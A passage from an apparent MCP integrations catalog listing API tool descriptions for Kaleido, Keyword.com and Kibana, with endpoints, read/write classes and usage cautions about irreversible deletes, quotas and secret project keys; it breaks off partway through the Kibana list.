kaleido_post_consortia_by_consortia_id_environments_by_environment_id_channels (write) — Create a channel in the Fabric environment. POST /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/channels. Scopes: api. kaleido_post_consortia_by_consortia_id_environments_by_environment_id_channels_by_channel_id_deploy (write) — Deploy chaincode to a channel. POST /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/channels/{channel_id}/deploy. Scopes: api. kaleido_post_consortia_by_consortia_id_environments_by_environment_id_configurations (write) — Create a configurations for the environment. POST /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/configurations. Scopes: api. kaleido_post_consortia_by_consortia_id_environments_by_environment_id_eth_fundaccount (write) — Fund an account from the environment's faucet. Can transfer ETH or tokens owned by the faucet account. POST /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/eth/fundaccount. Scopes: api. kaleido_post_consortia_by_consortia_id_environments_by_environment_id_hardfork (write) — Apply available hard fork EIPs to a specific environment. POST /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/hardfork. Scopes: api. kaleido_post_consortia_by_consortia_id_environments_by_environment_id_integrations (write) — Create an integration for the environment. POST /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/integrations. Scopes: api. kaleido_post_consortia_by_consortia_id_environments_by_environment_id_integrations_by_integration_id_reset (write) — Reset the state of the integration by clearing out the tracking details and regenerating the app cred. POST /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/integrations/{integration_id}/reset. Scopes: api. kaleido_post_consortia_by_consortia_id_environments_by_environment_id_nodes (write) — Create a node for the environment. POST /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/nodes. Scopes: api. kaleido_post_consortia_by_consortia_id_environments_by_environment_id_nodes_by_node_id_eth_accounts (write) — Creates a new account on a node and unlocks it so it's ready to use for signing transactions. POST /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/nodes/{node_id}/eth/accounts. Scopes: api. kaleido_post_consortia_by_consortia_id_environments_by_environment_id_nodes_by_node_id_restart (write) — Restart a node's runtime. POST /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/nodes/{node_id}/restart. Scopes: api. kaleido_post_consortia_by_consortia_id_environments_by_environment_id_nodes_by_node_id_start (write) — Starts a stopped node, the node is started as a non-signer - available for POA & IBFT based environments. POST /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/nodes/{node_id}/start. Scopes: api. kaleido_post_consortia_by_consortia_id_environments_by_environment_id_nodes_by_node_id_stop (write) — Stops a running node after voting it out of the signer list - available for POA & IBFT based environments. POST /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/nodes/{node_id}/stop. Scopes: api. kaleido_post_consortia_by_consortia_id_environments_by_environment_id_oauth (write) — Create new OAuth Configurations. POST /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/oauth. Scopes: api. kaleido_post_consortia_by_consortia_id_environments_by_environment_id_services (write) — Create a service for the environment. POST /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/services. Scopes: api. kaleido_post_consortia_by_consortia_id_environments_by_environment_id_upgrade (write) — Upgrade a specific environment to the latest version. POST /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/upgrade. Scopes: api. kaleido_post_consortia_by_consortia_id_environments_by_environment_id_zones (write) — Create a deployment zone for the environment. POST /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/zones. Scopes: api. kaleido_post_consortia_by_consortia_id_invitations (write) — Create an invitation for the consortia. POST /api/v1/kaleido/consortia/{consortia_id}/invitations. Scopes: api. kaleido_post_consortia_by_consortia_id_memberships (write) — Create a membership for the consortia. POST /api/v1/kaleido/consortia/{consortia_id}/memberships. Scopes: api. kaleido_post_consortia_by_consortia_id_memberships_by_membership_id_tenants (write) — Create new Tenants. POST /api/v1/kaleido/consortia/{consortia_id}/memberships/{membership_id}/tenants. Scopes: api. kaleido_post_consortia_by_consortia_id_memberships_by_membership_id_verify (write) — Update the verification of a particular membership. POST /api/v1/kaleido/consortia/{consortia_id}/memberships/{membership_id}/verify. Scopes: api. kaleido_post_consortia_by_consortia_id_zones (write) — Create a deployment zone for the consortia. POST /api/v1/kaleido/consortia/{consortia_id}/zones. Scopes: api. kaleido_post_orgs (write) — Create a new Organization. POST /api/v1/kaleido/orgs. Scopes: api. kaleido_post_orgs_by_org_id_idproofs (write) — Add an ID proof to an organization. POST /api/v1/kaleido/orgs/{org_id}/idproofs. Scopes: api. kaleido_post_orgs_by_org_id_roles (write) — Add a role to an Organization. POST /api/v1/kaleido/orgs/{org_id}/roles. Scopes: api. kaleido_put_consortia_by_consortia_id_environments_by_environment_id_appcreds_by_appkey_id (write) — Upsert a specific Application Credential. PUT /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/appcreds/{appkey_id}. Scopes: api. kaleido_put_consortia_by_consortia_id_environments_by_environment_id_configurations_by_config_id (write) — Upsert a specific configuration. PUT /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/configurations/{config_id}. Scopes: api. kaleido_put_consortia_by_consortia_id_environments_by_environment_id_nodes_by_node_id_backup (write) — Backup a Node's /qdata content to the attached backup store (AWS S3 bucket or Azure Storage Blob). PUT /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/nodes/{node_id}/backup. Scopes: api. kaleido_put_consortia_by_consortia_id_environments_by_environment_id_nodes_by_node_id_reset (write) — Reset a node after modification to backup_id/kms_id/zone_id/node_config_id to apply any updated configuration. Does not affect chain data on the node. PUT /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/nodes/{node_id}/reset. Scopes: api. kaleido_put_consortia_by_consortia_id_environments_by_environment_id_oauth_by_oauth_id (write) — Upsert a specific OAuth Resource Manager configuration. PUT /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/oauth/{oauth_id}. Scopes: api. kaleido_put_consortia_by_consortia_id_environments_by_environment_id_services_by_service_id_backup (write) — Backup a Service's /qdata content to the attached backup store (AWS S3 bucket or Azure Storage Blob). PUT /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/services/{service_id}/backup. Scopes: api. kaleido_put_consortia_by_consortia_id_invitations_by_invitation_id (write) — Upsert a specific invitation. PUT /api/v1/kaleido/consortia/{consortia_id}/invitations/{invitation_id}. Scopes: api. kaleido_put_consortia_by_consortia_id_memberships_by_membership_id_tenants_by_tenant_id (write) — Upsert a specific Tenant. PUT /api/v1/kaleido/consortia/{consortia_id}/memberships/{membership_id}/tenants/{tenant_id}. Scopes: api. kaleido_put_ledger_by_consortia_id_by_environment_id_contracts_by_address (write) — Update a specific contract's metadata. PUT /api/v1/kaleido/ledger/{consortia_id}/{environment_id}/contracts/{address}. Scopes: api. kaleido_put_orgs_by_org_id_billing_provider (write) — Configures billing provider for the organization. PUT /api/v1/kaleido/orgs/{org_id}/billing/provider. Scopes: api. kaleido_put_orgs_by_org_id_roles_by_role_id (write) — Upsert a role of an Organization. Changes an organization-wide role, so it changes what every user holding that role may do. PUT /api/v1/kaleido/orgs/{org_id}/roles/{role_id}. Scopes: api. ================================================================================ ## Keyword.com URL: https://www.agenticfabriq.com/integrations/keyword Section: Integrated Tools Keyword.com — 31 MCP tools Provider key: keyword. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. keyword_delete_api_v2_groups_by_project_name (write, destructive) — Delete project via DELETE /api/v2/groups/{project_name}. IRREVERSIBLE. Deletes the project or group by name, and with it every keyword in it and all of their historic ranking data. There is no recycle bin and no undo -- Restore project un-archives an ARCHIVED project and cannot bring back a deleted one. If the intent is to stop tracking for now, use Archive project instead: it is reversible and keeps the history. Deleting a parent project takes its groups with it. DELETE /api/v1/keyword/api/v2/groups/{project_name}. Scopes: api. keyword_delete_api_v2_groups_by_project_name_keywords_by_keyword_id (write, destructive) — Delete keyword via DELETE /api/v2/groups/{project_name}/keywords/{keyword_id}. IRREVERSIBLE, and it destroys history: the vendor's own words are "this cannot be undone and when deleted you lose all historic ranking data". To stop tracking a keyword while keeping its history, Update keyword with `status = 0` (inactive) or `2` (archived) instead. Deletes exactly the one keyword named in the path; use Bulk delete keywords for many at once. DELETE /api/v1/keyword/api/v2/groups/{project_name}/keywords/{keyword_id}. Scopes: api. keyword_delete_api_v2_projects_by_project_id_keywords (write, destructive) — Bulk delete keywords via DELETE /api/v2/projects/{project_id}/keywords. IRREVERSIBLE, and for many keywords at once: every id in `data.ids` is deleted from the project, with all of its historic ranking data, exactly as Delete keyword does one. THE TARGET IS THE NUMERIC `project_id`, not the project NAME the single-keyword tools take -- `attributes.project_id` from List projects. Read the ids back with List keywords and check them before calling; there is no undo and no recycle bin. To stop tracking reversibly, use Update keywords with `status` instead. DELETE /api/v1/keyword/api/v2/projects/{project_id}/keywords. Scopes: api. keyword_get_api_v2_ai_visibility_domains (read) — List AI Visibility domains via GET /api/v2/ai-visibility/domains. Every AI Visibility domain configured on the account. THIS IS A SECOND PRODUCT on the same host and the same credential: AI Visibility tracks how a brand appears in AI search answers (ChatGPT, Perplexity, Google AI Overviews and others), while the rest of this integration tracks Google SERP rankings. Call this first -- every other AI Visibility tool needs the numeric `domain_id` it returns. An account without the AI Visibility product will have no domains to return. GET /api/v1/keyword/api/v2/ai-visibility/domains. Scopes: api. keyword_get_api_v2_ai_visibility_domains_by_domain_id (read) — Get AI Visibility domain via GET /api/v2/ai-visibility/domains/{domain_id}. One AI Visibility domain by its numeric id, as returned by List AI Visibility domains. GET /api/v1/keyword/api/v2/ai-visibility/domains/{domain_id}. Scopes: api. keyword_get_api_v2_ai_visibility_domains_by_domain_id_metrics (read) — Get AI Visibility metrics via GET /api/v2/ai-visibility/domains/{domain_id}/metrics. The dashboard metrics for one AI Visibility domain. Three sections: `data.ownBrandMetrics` -- `visibilityScore`, `sentiment`, `mentions`, `citations`, `avgPosition`, `detectionRate`, `top3` and `validMetricsCount`, plus `trends`, `historicalData` and the per-topic and per-engine breakdowns; `data.competitorMetrics` -- the same figures per competitor; and `data.competitorTimeSeriesData` -- the series, keyed `hourly`, `daily`, `weekly` and `monthly`. `timeframe` sets the period length (`24h`, `7d`, `30d`, `3m`, `1y`; a bare number is days, default 30), `period_offset` steps BACKWARDS with a NEGATIVE value (-1 to -365; `0` is the current period) and `aggregation` picks the series granularity (`hourly`, `daily`, `weekly`, `monthly`; default `daily`). `topics[]`, `search_terms[]` and `engine[]` are repeatable filters -- pass each value as its own parameter. This is REPORTING data: the AI Visibility API exposes aggregates, not individual executions and not the raw AI answers. GET /api/v1/keyword/api/v2/ai-visibility/domains/{domain_id}/metrics. Scopes: api. keyword_get_api_v2_ai_visibility_domains_by_domain_id_metrics_citations (read) — Get AI Visibility citations via GET /api/v2/ai-visibility/domains/{domain_id}/metrics/citations. Citation analytics for one AI Visibility domain: how often and where the domain is cited as a source in AI answers, aggregated at domain and URL level and broken down by AI engine and by query, with brand and competitor comparisons. `topics[]` and `search_terms[]` are repeatable filters. Keyword.com documents the payload by section rather than by field and publishes no schema for it. GET /api/v1/keyword/api/v2/ai-visibility/domains/{domain_id}/metrics/citations. Scopes: api. keyword_get_api_v2_ai_visibility_domains_by_domain_id_metrics_sentiment (read) — Get AI Visibility sentiment via GET /api/v2/ai-visibility/domains/{domain_id}/metrics/sentiment. Sentiment analytics for one AI Visibility domain: brand and company sentiment aggregates, keyword clouds, and a sentiment breakdown per AI engine. `topics[]` and `search_terms[]` are repeatable filters. Keyword.com documents the payload by section rather than by field and publishes no schema for it. GET /api/v1/keyword/api/v2/ai-visibility/domains/{domain_id}/metrics/sentiment. Scopes: api. keyword_get_api_v2_ai_visibility_domains_by_domain_id_search_terms (read) — List AI Visibility search terms via GET /api/v2/ai-visibility/domains/{domain_id}/search-terms. The tracked search terms (prompts) for one AI Visibility domain. Each carries the AI engines it is tracked on (`aiSearchEngines`, e.g. `chatgpt_gui`, `google_ai_overview`), its `status`, how many times it has run (`executionsAmount`), its update `interval`, its `region`, whether web search was enabled for it (`websearch`), its topic (`searchTermTopicRef`) and its tags. `lastExecutionTime` and `nextScheduledExecutionTime` say when the data was last refreshed and when it will be again -- worth reading before treating a metric as current, because the default interval is monthly. The term strings here are what the `search_terms[]` filter on the metric tools expects. GET /api/v1/keyword/api/v2/ai-visibility/domains/{domain_id}/search-terms. Scopes: api. keyword_get_api_v2_alerts (read) — List alerts via GET /api/v2/alerts. Documented by Keyword.com as every alert on the account -- the ranking-movement notifications its dashboard and its emails show. THIS TOOL CANNOT BE CALLED and refuses before any request is sent: Keyword.com documents GET /api/v2/alerts in its own OpenAPI 3.2.0 contract and in its reference site, and the route is not mounted. MEASURED 2026-09-22 and again 2026-09-23, four ways each -- with a bogus bearer, with no Authorization header at all, with and without a trailing slash -- it answers 404 {"errors":[{"code":"404","title":"HTTP Error","detail":"Resource not found"}]} every time, byte-identical to an invented path on the same host, while every one of the other 23 documented routes answers 401 Unauthenticated to the same request. The 404 arrives BEFORE authentication, so it is the router and not an entitlement gate: no token, plan or setting reaches it. Alerts are readable in the Keyword.com dashboard and by email; there is no API for them today. GET /api/v1/keyword/api/v2/alerts. Scopes: api. keyword_get_api_v2_groups_active (read) — List projects via GET /api/v2/groups/active. Every ACTIVE project and group on the account, with its tags, its keyword count and its timestamps. This is the tool to call first: almost every other tool addresses a project by NAME (`project_name`) or by its numeric id (`project_id`), and both are in this reply -- `attributes.name` and `attributes.project_id`. Groups are sub-projects and are named with the `[sub]` convention (`Disney[sub]Disney Classics`); pass that whole string wherever a `project_name` is asked for. ARCHIVED PROJECTS ARE NOT HERE -- the path is `/groups/active` and there is no documented listing that includes archived ones, so a project that has been archived can still be read, restored or deleted by name but will not appear in this list. The reply also carries each project's `attributes.auth` -- the PROJECT AUTH KEY, a second credential Keyword.com issues for sharing one project's data with third parties -- and `shortkey`/`password`, which belong to its public ViewKey share link. Treat all three as secrets: they are returned by this read, and passing them on grants access to that project's data. GET /api/v1/keyword/api/v2/groups/active. Scopes: api. keyword_get_api_v2_groups_by_project_name (read) — Get project via GET /api/v2/groups/{project_name}. One project or group by name, with the same shape List projects returns for each row: groups, tags, keyword counts and the project's numeric `project_id`. Works for an ARCHIVED project too, which is how an archived project is found at all -- List projects only returns active ones. Like the listing, this reply carries the project's `attributes.auth` project auth key and its ViewKey `shortkey`/`password`; all three are secrets that grant access to this project's data. GET /api/v1/keyword/api/v2/groups/{project_name}. Scopes: api. keyword_get_api_v2_groups_by_project_name_keywords (read) — List keywords via GET /api/v2/groups/{project_name}/keywords. Every keyword in a project or group with its settings and its current ranking metrics, and the tool that yields the `keyword_id` values the other keyword tools need. PAGINATE: the default page size is 20 and the vendor recommends `per_page=250` with `page` walked upward -- a 500-keyword project is two calls at 250, twenty-five at the default. `date` (YYYY-MM-DD) returns the ranking data for one past day instead of the latest. GET /api/v1/keyword/api/v2/groups/{project_name}/keywords. Scopes: api. keyword_get_api_v2_groups_by_project_name_keywords_by_keyword_id (read) — Get keyword via GET /api/v2/groups/{project_name}/keywords/{keyword_id}. One keyword's settings and ranking metrics, by the `keyword_id` List keywords or Add keywords returned. `date` (YYYY-MM-DD) returns that day's ranking data instead of the latest, which is the cheapest way to answer "where did this rank on X" without pulling a whole chart. GET /api/v1/keyword/api/v2/groups/{project_name}/keywords/{keyword_id}. Scopes: api. keyword_get_api_v2_groups_by_project_name_keywords_ranking_urls (read) — Get top pages via GET /api/v2/groups/{project_name}/keywords/ranking-urls. The pages of the tracked domain that actually rank in this project or group, with the keywords each one ranks for. Answers "which of my URLs is doing the work" without walking every keyword. Project-wide: there is no per-keyword or per-tag filter on this route. GET /api/v1/keyword/api/v2/groups/{project_name}/keywords/ranking-urls. Scopes: api. keyword_get_api_v2_groups_by_project_name_metrics (read) — Get keyword metrics via GET /api/v2/groups/{project_name}/metrics. Aggregate movement for a project, group or tag: how many keywords improved, declined and held, and the counts per ranking band, each over daily, weekly, monthly, six-month, yearly and lifetime windows. `tagId` narrows it to one tag and `timeframe` to a number of days (the vendor's example is `30`). This is the project-level summary; per-keyword positions are in List keywords and the day-by-day series is in Get rank history. GET /api/v1/keyword/api/v2/groups/{project_name}/metrics. Scopes: api. keyword_get_api_v2_groups_by_project_name_regions (read) — List regions via GET /api/v2/groups/{project_name}/regions. Every Google region (`google.com`, `google.co.uk`, ...) tracked in a project or group, with the number of keywords in each. Useful before Add keywords, whose `region` must be one of Keyword.com's accepted Google domains, and for reading a project's geographic spread without listing its keywords. GET /api/v1/keyword/api/v2/groups/{project_name}/regions. Scopes: api. keyword_get_api_v2_groups_by_project_name_undo_archive (write) — Restore project via GET /api/v2/groups/{project_name}/undo/archive. WRITES, despite being a GET. Un-archives the named project or group and returns it to the active list; the ledger classifies this operation by its verb and this build reclassifies it as a write, because a read-only grant must not be able to change a project's state. Restored keywords resume updating at the next scheduled automatic cycle -- use Refresh keywords if the data is needed sooner. Only an ARCHIVED project can be restored; a DELETED one is gone. GET /api/v1/keyword/api/v2/groups/{project_name}/undo/archive. Scopes: api. keyword_get_api_v2_metrics_by_project_name_competitors_by_keyword_id_history (read) — Get keyword competitors via GET /api/v2/metrics/{project_name}/competitors/{keyword_id}/history. The competitor ranking history for ONE keyword over a date range: which other domains held which positions, day by day. `dateRange` is REQUIRED and is ONE string with both halves joined by a DOT -- `2023-04-01.2023-04-15`. Both halves must be YYYY-MM-DD and the end must not precede the start. Do not send it as an array or an indexed parameter: `dateRange[]=` and `dateRange[0]=` are rejected with a 422. GET /api/v1/keyword/api/v2/metrics/{project_name}/competitors/{keyword_id}/history. Scopes: api. keyword_get_api_v2_metrics_by_project_name_mindshare_latest (read) — Get share of voice (latest) via GET /api/v2/metrics/{project_name}/mindshare/latest. Documented by Keyword.com as the top 10 domains for a project's Share of Voice, as one current snapshot rather than a series. THIS TOOL CANNOT BE CALLED and refuses before any request is sent: Keyword.com documents GET /api/v2/metrics/{project_name}/mindshare/latest ("Get the top 10 domains for Share of Voice") in its own OpenAPI 3.2.0 contract, and the route is not mounted. MEASURED 2026-09-22 and again 2026-09-23, four ways each, it answers 404 Resource not found -- byte-identical to an invented path -- while its sibling GET /api/v2/projects/{project_id}/mindshare/from-cache answers 401 to the same request. The 404 precedes authentication, so no credential changes it. USE THE HISTORY TOOL INSTEAD: Get share of voice history reads the same mindshare data for a date range from Keyword.com's cache and IS mounted; ask it for the last few days and read the most recent point. GET /api/v1/keyword/api/v2/metrics/{project_name}/mindshare/latest. Scopes: api. keyword_get_api_v2_projects_by_project_id_mindshare_from_cache (read) — Get share of voice history via GET /api/v2/projects/{project_id}/mindshare/from-cache. Share of Voice ("mindshare") over a period, from Keyword.com's cache: which domains own what share of the visibility for this project's keywords. Ask either with `start_date`/`end_date` or with the `daysrange` shorthand (7, 30, 90, 180 or 365) -- `daysrange` is IGNORED when the explicit dates are given. THE SAMPLING INTERVAL FOLLOWS THE RANGE, which is the part worth knowing before charting the result: 7 days gives a point per day, 30 days a point per 7 days, 90 a point per 14, 180 a point per 30, and 365 a point per 60. `tagId` narrows it to one tag (0 or omitted means every keyword). Defaults are the last 30 days. THE TARGET IS THE NUMERIC `project_id`, not the project name. This is also the tool to use for the LATEST figures: the documented latest-only route is not mounted (see Get share of voice (latest)). GET /api/v1/keyword/api/v2/projects/{project_id}/mindshare/from-cache. Scopes: api. keyword_get_api_v2_projects_by_project_id_sharing_settings (read) — Get sharing settings via GET /api/v2/projects/{project_id}/sharing-settings. The shared-report configuration for a project: the read-only page a Keyword.com share link opens. Returns the RESOLVED settings -- the per-project override where one is set, otherwise the account-wide default -- covering `visibility`, which keyword-table columns render, and the Overview and keyword charts. ONE READING TRAP the vendor documents: `visibility.hide_top_pages` reads `true` whenever `visibility.hide_overview` is `true`, because hiding the Overview tab hides Top Pages with it -- so a `true` there does not mean Top Pages was hidden on its own. THE TARGET IS THE NUMERIC `project_id`. GET /api/v1/keyword/api/v2/projects/{project_id}/sharing-settings. Scopes: api. keyword_get_api_v2_users_self (read) — Get current user via GET /api/v2/users/self. The account this connection is authenticated as: its identity, settings and plan. `include=subscriptions` adds the subscription records, which is where the plan's keyword allowance and its daily on-demand refresh quota are read -- check them before Refresh keywords, which is rejected whole (403, code 10003) when it would overrun the day's quota. This is also the integration's connection health check: it is the cheapest authenticated read on the API and touches no project. GET /api/v1/keyword/api/v2/users/self. Scopes: api. keyword_patch_api_v2_groups_by_project_name_keywords_by_keyword_id (write) — Update keyword via PATCH /api/v2/groups/{project_name}/keywords/{keyword_id}. Change one keyword's settings. Only the attributes sent are changed. Three behaviours worth knowing before calling: `tags` REPLACES the keyword's whole tag set by name (a name the project does not have yet is created, and an empty array removes every tag -- there is no add-one-tag form); `category` MOVES the keyword into another project or group of the same account, which must already exist; and `status` is the reversible alternative to deleting -- `0` inactive, `1` active, `2` archived, all keeping the ranking history that Delete keyword destroys. `baseline` (0-100) resets the rank that the keyword's change figures are measured from. PATCH /api/v1/keyword/api/v2/groups/{project_name}/keywords/{keyword_id}. Scopes: api. keyword_patch_api_v2_projects_by_project_id_keywords (write) — Update keywords via PATCH /api/v2/projects/{project_id}/keywords. Apply ONE set of attribute changes to MANY keywords: `data.ids` names them and `data.attributes` is applied to all of them. `tags` replaces the full tag set of EVERY listed keyword (an empty array clears their tags), and `url`, `region`, `language` and `type` re-point or re-target the whole batch, so check the id list before calling -- this is the fastest way to change a hundred keywords and the fastest way to change the wrong hundred. THE TARGET IS THE NUMERIC `project_id`, not the project name. PATCH /api/v1/keyword/api/v2/projects/{project_id}/keywords. Scopes: api. keyword_patch_api_v2_projects_by_project_id_sharing_settings (write) — Update sharing settings via PATCH /api/v2/projects/{project_id}/sharing-settings. Change a project's shared-report configuration and get the full resolved settings back. PARTIAL, but not uniformly so, and the asymmetry is the thing to get right: a section that is sent is applied and a section that is omitted is left alone, but `visibility` and `keyword_columns.columns` merge MEMBER BY MEMBER while `keyword_charts` and `overview_charts` REPLACE their whole section -- so sending one chart in `overview_charts` removes every other one. `password` is three-state: omit the key to leave it unchanged, send `null` or an empty string to remove protection, send a non-empty string to set it. TWO ENTITLEMENTS GATE THIS: everything except `is_active` needs the caller's white-label management permission (without it the call answers 403), and setting a password on a project that has none additionally needs the account's white-label PLAN. A 403 here is a permission or plan answer, not a bad credential. THE TARGET IS THE NUMERIC `project_id`. PATCH /api/v1/keyword/api/v2/projects/{project_id}/sharing-settings. Scopes: api. keyword_post_api_v2_groups (write) — Create project via POST /api/v2/groups. Create one project, or one group inside an existing project. `data.attributes.category` is the NAME (the spec calls the field `category`); `currency_code` sets the currency cost figures are reported in. TO CREATE A GROUP rather than a top-level project, name it with the `[sub]` convention -- `Disney[sub]Disney Classics` -- and CREATE THE PARENT FIRST: the vendor states the parent project must exist before a group is added to it. Creating a project does not add keywords; use Add keywords afterwards. POST /api/v1/keyword/api/v2/groups. Scopes: api. keyword_post_api_v2_groups_by_project_name_keywords (write) — Add keywords via POST /api/v2/groups/{project_name}/keywords. Add one or more keywords to a project or group. `data` is an ARRAY, one entry per keyword, and each entry requires `category` (the project or group name, matching the path), `url` (the domain to track), `region` (a Google domain such as `google.com` or `google.co.uk`), `language` and `kw` (the keyword itself, 150 characters maximum). `url` WITHOUT a trailing slash tracks the whole domain; WITH one it tracks that exact URL -- the difference is load-bearing and easy to miss. `type` picks the device (`se` desktop, `sem` mobile) and `near` adds a location for local rank tracking. THE REPLY CARRIES NO RANKING DATA: the keywords are created and their metrics are collected in the background, so read them back with List keywords or Get keyword rather than expecting positions here. Adding keywords consumes the plan's keyword allowance. POST /api/v1/keyword/api/v2/groups/{project_name}/keywords. Scopes: api. keyword_post_api_v2_keywords_chart (read) — Get rank history via POST /api/v2/keywords/chart. READS, despite being a POST: the keyword ids go in the body because a list of them does not fit a query string, and nothing is created. The ledger classifies by verb and this build reclassifies it as a read. Returns the daily ranking position for each id in `kwid` for the last `limit` days -- up to 180, which is the documented maximum -- as both a chart-ready series of `[YYYY-MM-DD, rank]` pairs and the raw history with the ranking URLs. Pass `action=bulkChart` when asking for more than one keyword. Keyword ids come from List keywords. POST /api/v1/keyword/api/v2/keywords/chart. Scopes: api. keyword_post_api_v2_keywords_refresh (write) — Refresh keywords via POST /api/v2/keywords/refresh. Run an on-demand ranking update for every keyword in the named projects, instead of waiting for the next scheduled cycle. `data.project_ids` is a list of NUMERIC project ids; `include_sub_groups` extends it to their groups. SPENDS QUOTA: every keyword refreshed consumes one on-demand refresh from the plan's DAILY quota, and a request that would exceed what is left is rejected WHOLE -- HTTP 403 with error code `10003` -- rather than partly served. So size the request first (List keywords gives the count per project) and read the account's remaining quota with Get current user. Results arrive asynchronously: the reply acknowledges the request, and new positions appear on the keyword reads a few minutes later. POST /api/v1/keyword/api/v2/keywords/refresh. Scopes: api. keyword_put_api_v2_groups_by_project_name (write) — Archive project via PUT /api/v2/groups/{project_name}. Move a project or group to the Archived state. Send `data.attributes.status = 2`; the spec's enum allows nothing else, so this operation only archives. Archiving is REVERSIBLE -- Restore project un-archives it -- and it is not a delete: the keywords and their ranking history stay. The project leaves List projects (which returns active projects only) and can still be read by name with Get project. Restoring resumes ranking updates at the next scheduled cycle. PUT /api/v1/keyword/api/v2/groups/{project_name}. Scopes: api. ================================================================================ ## Kibana URL: https://www.agenticfabriq.com/integrations/kibana Section: Integrated Tools Kibana — 640 MCP tools Provider key: kibana. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. kibana_delete_api_actions_connector_by_id (write, destructive) — WARNING: When you delete a connector, it cannot be recovered. Kibana DELETE /api/actions/connector/{id}. DELETE /api/v1/kibana/api/actions/connector/{id}. Scopes: api. kibana_delete_api_agent_builder_agents_by_id (write, destructive) — Delete an agent by ID. This action cannot be undone. To learn more about agents, refer to the [agents documentation](https://www.elastic.co/docs/explore-analyze/ai-features/agent-builder/agent-builder-agents). [Required authorization] Route required privileges: agentBuilder:manageAgents. [Added in 9.2.0] Kibana DELETE /api/agent_builder/agents/{id}. DELETE /api/v1/kibana/api/agent_builder/agents/{id}. Scopes: api. kibana_delete_api_agent_builder_conversations_by_conversation_id (write, destructive) — Delete a conversation by ID. This action cannot be undone. To learn more about agent conversations, refer to the [agent chat documentation](https://www.elastic.co/docs/explore-analyze/ai-features/agent-builder/chat). [Required authorization] Route required privileges: agentBuilder:read. [Added in 9.2.0] Kibana DELETE /api/agent_builder/conversations/{conversation_id}. DELETE /api/v1/kibana/api/agent_builder/conversations/{conversation_id}. Scopes: api. kibana_delete_api_agent_builder_conversations_by_conversation_id_attachments_by_attachment_id (write, destructive) — Delete an attachment. By default performs a soft delete (can be restored). Use permanent=true to permanently remove unreferenced attachments. [Required authorization] Route required privileges: agentBuilder:read. [Experimental; added in 9.2.0] Kibana DELETE /api/agent_builder/conversations/{conversation_id}/attachments/{attachment_id}. DELETE /api/v1/kibana/api/agent_builder/conversations/{conversation_id}/attachments/{attachment_id}. Scopes: api. kibana_delete_api_agent_builder_plugins_by_pluginid (write, destructive) — Delete an installed plugin by ID. This action cannot be undone. To learn more about Agent Builder plugins, refer to the [plugins documentation](https://www.elastic.co/docs/explore-analyze/ai-features/agent-builder/plugins). [Required authorization] Route required privileges: agentBuilder:write. [Experimental; added in 9.4.0] Kibana DELETE /api/agent_builder/plugins/{pluginId}. DELETE /api/v1/kibana/api/agent_builder/plugins/{pluginId}. Scopes: api. kibana_delete_api_agent_builder_skills_by_skillid (write, destructive) — Delete a user-created skill by ID. If agents still reference the skill, the request returns 409 unless force=true, which removes the skill from agents first. Built-in skills cannot be deleted. [Experimental; added in 9.4.0] Kibana DELETE /api/agent_builder/skills/{skillId}. DELETE /api/v1/kibana/api/agent_builder/skills/{skillId}. Scopes: api. kibana_delete_api_agent_builder_tools_by_toolid (write, destructive) — Delete a tool by ID. This action cannot be undone. To learn more about Agent Builder tools, refer to the [tools documentation](https://www.elastic.co/docs/explore-analyze/ai-features/agent-builder/tools). [Required authorization] Route required privileges: agentBuilder:manageTools. [Added in 9.2.0] Kibana DELETE /api/agent_builder/tools/{toolId}. DELETE /api/v1/kibana/api/agent_builder/tools/{toolId}. Scopes: api. kibana_delete_api_alerting_rule_by_id (write, destructive) — Delete a rule. Kibana DELETE /api/alerting/rule/{id}. DELETE /api/v1/kibana/api/alerting/rule/{id}. Scopes: api. kibana_delete_api_alerting_rule_by_ruleid_snooze_schedule_by_scheduleid (write, destructive) — Delete a snooze schedule for a rule. [Generally available; added in 8.19.0] Kibana DELETE /api/alerting/rule/{ruleId}/snooze_schedule/{scheduleId}. DELETE /api/v1/kibana/api/alerting/rule/{ruleId}/snooze_schedule/{scheduleId}. Scopes: api. kibana_delete_api_alerting_rules_backfill_by_id (write, destructive) — Delete a backfill by ID. Kibana DELETE /api/alerting/rules/backfill/{id}. DELETE /api/v1/kibana/api/alerting/rules/backfill/{id}. Scopes: api. kibana_delete_api_apm_settings_agent_configuration (write, destructive) — Delete an existing agent configuration. You must have `all` privileges for the APM and User Experience feature in Kibana. When successful, the configuration is removed and, if Fleet is enabled, APM package policies are synchronized 